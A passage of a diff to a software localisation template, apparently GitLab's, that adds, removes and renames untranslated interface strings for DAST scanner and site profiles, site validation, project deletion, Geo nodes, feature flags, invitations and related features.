+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
